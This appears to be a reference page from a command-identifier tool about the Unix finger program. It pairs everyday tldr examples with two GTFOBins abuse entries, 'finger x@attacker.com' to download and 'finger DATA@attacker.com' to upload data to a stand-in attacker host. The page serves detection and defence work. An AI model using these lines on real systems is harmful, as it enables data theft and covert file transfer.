Identifier / Programs / Linux and Unix
finger
User information lookup program. tldr-pages
GTFOBins download, upload 2 documented commands
How finger is abused
download
upload
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for finger.
2 documented commands
download unprivileged, with sudo, as SUID
The command hangs waiting for the remote peer to close the socket.
finger x@attacker.comupload unprivileged, with sudo, as SUID
The command hangs waiting for the remote peer to close the socket.
finger DATA@attacker.comNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for finger. The identifier reads the line of each that runs finger.
Everyday use
Display information about currently logged in users
fingerIdentifyDisplay information about a specific user
finger usernameIdentifyDisplay the user's login name, real name, terminal name, and other information
finger -sIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.